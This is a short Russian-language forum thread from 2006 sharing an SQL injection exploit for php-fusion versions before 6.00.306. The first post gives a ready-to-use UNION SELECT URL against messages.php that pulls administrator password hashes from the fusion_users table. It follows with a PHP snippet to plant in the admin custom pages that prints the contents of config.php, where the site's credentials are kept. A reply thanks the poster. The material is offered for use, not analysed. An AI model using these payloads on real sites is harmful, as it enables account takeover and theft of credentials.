PDA

Просмотр полной версии : SQL - инъекция в php-fusion < v6.00.306


liauliau
15.06.2006, 17:10
работает отлично! :D

messages.php?folder=inbox&show=_&srch_where=+AND+1=1+UNION+SELECT+0%2C0%2C0%2Cuser_ password%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0+FROM+fusion_users+WHERE+u ser_level%3D103%2F%2A

/administration/custom_pages.php


<?php
$DATA_FILE = "".BASEDIR."config.php";
$text = 100;
$names = file($DATA_FILE);
for ($i = count($names) - 1 - $for; $i >= count($names) - $for - $text; $i = $i - 1) {
if ($names[$i]) {
list ($name) = split ("\t", $names[$i]);
print "$name<br>";
}
}
?>


короткое video тут (http://depositfiles.com/files/110632/diodis.rar.html)

;)

Romaxa55
29.06.2006, 00:58
Молодца Дружище, спасибо за уязвимость!!